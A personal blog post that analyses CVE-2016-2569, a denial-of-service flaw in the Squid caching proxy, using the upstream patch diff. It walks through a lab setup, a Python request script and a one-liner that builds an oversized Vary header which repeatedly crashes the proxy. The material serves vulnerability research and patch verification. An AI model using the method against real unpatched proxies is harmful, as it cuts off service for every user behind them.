CVE-2016-2569: Squid Proxy DoS Analysis and Exploit Development

| 4 min read

Hello there,

Thank you for reading my first blog entry. Today we will go with exploit creation for one of the open-source tool Squid Caching proxy server.

For more details, please find the details about this on Github: CVE 2016-2569 Analysis and Exploit Development

What is Squid?

Squid is a caching proxy for the Web supporting HTTP, HTTPS, FTP, and more. It reduces bandwidth and improves response times by caching and reusing frequently-requested web pages. Squid has extensive access controls and makes a great server accelerator. It runs on most available operating systems, including Windows and is licensed under the GNU GPL. You can find more about Squid Caching proxy at their official website http://www.squid-cache.org/

What is CVE-2016-2569?

CVE stands for Common Vulnerabilities and Exposures. More info about CVE can be found at Wikipedia.

We can see the following information about CVE-2016-2569:

Description: Squid 3.x before 3.5.15 and 4.x before 4.0.7 does not properly append data to String objects, which allows remote servers to cause a denial of service (assertion failure and daemon exit) via a long string, as demonstrated by a crafted HTTP Vary header. Mathias Fischer from Open Systems AG reported this vulnerability.

Vulnerability Analysis

As this is an open-source project we can see the patch used to mitigate this vulnerability. Based on the vulnerability description, this is some sort of input validation flaw. We can exploit it by providing extra input.

The patch http://www.squid-cache.org/Versions/v3/3.5/changesets/squid-3.5-13991.patch confirms changes were made to the following files:

  1. src/SquidString.h
  2. src/StrList.cc
  3. src/String.cc
  4. src/clients/Client.h
  5. src/clients/FtpClient.cc
  6. src/http.cc

Code diff for src/String.cc looks interesting as it makes assertion for aSize variable:

=== modified file 'src/String.cc'
--- src/String.cc	2016-01-01 00:14:27 +0000
+++ src/String.cc	2016-02-19 23:15:41 +0000
@@ -42,7 +42,7 @@
 String::setBuffer(char *aBuf, String::size_type aSize)
 {
     assert(undefined());
-    assert(aSize < 65536);
+    assert(aSize <= SizeMax_);
     buf_ = aBuf;
     size_ = aSize;
 }
@@ -171,7 +171,7 @@
     } else {
         // Create a temporary string and absorb it later.
         String snew;
-        assert(len_ + len < 65536); // otherwise snew.len_ overflows below
+        assert(canGrowBy(len)); // otherwise snew.len_ may overflow below
         snew.len_ = len_ + len;
         snew.allocBuffer(snew.len_ + 1);

Based on the above code diff we can try to exploit the vulnerability by providing the value of the Vary header to be more than 65536 bytes.

Exploit Setup

We will set up the Squid Caching proxy on Linux system (Xubuntu 16.04 LTS). The Squid caching proxy caches the HTTP server responses and sends the responses to clients from memory cache rather than querying server for similar requests.

Our network topology:

-------------------------          -------------------------          -------------------------
|                       |          |                       |          |                       |
|       HTTP Server     |  ---->   |         Squid         |  ----->  |         Client        |
|     192.168.56.102    |          |     Caching Proxy     |          |     192.168.56.1      |
|                       |  <----   |     TCP Port 3128     |  <----   |     Python Requests   |
|                       |          |                       |          |                       |
-------------------------          -------------------------          -------------------------

We will send standard queries to our HTTP server via Squid proxy and check logs to verify the setup is working.

Python script to send requests:

#!/usr/bin/env python

import requests
import os

proxy = {'http': '192.168.56.102:3128'}
headers = {
    'If-Modified-Since': 'Wed, 24 Jan 2018 13:58:1 GMT', 
    'Accept': '*', 
    'max-age': '20000', 
    'cache-control': 'public', 
    'connection': 'keep-alive', 
    'user-agent': 'requests2'
}

if len(os.sys.argv) != 2:
    print("Usage: req [URI]")
    os.sys.exit()

print(f'\nhttp://192.168.56.102:8080/{os.sys.argv[1]}')

r = requests.get(
    f'http://192.168.56.102:8080/{os.sys.argv[1]}', 
    proxies=proxy, 
    headers=headers
)

print("\nHTTP Stat Code --> ", r.status_code)

print("\nHTTP Response Headers:") 
for h in r.headers:
    print(f"{h}: {r.headers[h]}")

if 'Vary' in r.headers:
    print(f"\nVary: {r.headers['Vary']}")

Exploitation

Let’s exploit the vulnerability by passing a long string with the HTTP Vary Response header. From the code diff we can see there’s an assertion that defines the value of a_size should not exceed 65536.

We can use Python to generate a long string: python -c 'print("a,b,c,d,e,f," * 6000)'

When we send our first request to proxy everything seems normal. The proxy doesn’t cache the responses because of the invalid values in the Vary header. However, when sending multiple requests, the proxy starts failing with “Proxy Error” messages.

Eventually, the proxy stops completely due to frequent failures. No device connecting to the server via proxy would be able to access anything. This is Denial of Service for all proxy users.

Squid Proxy Exploitation


This concludes this short analysis of the vulnerability. Thank you for reading. I appreciate any feedback!

Resources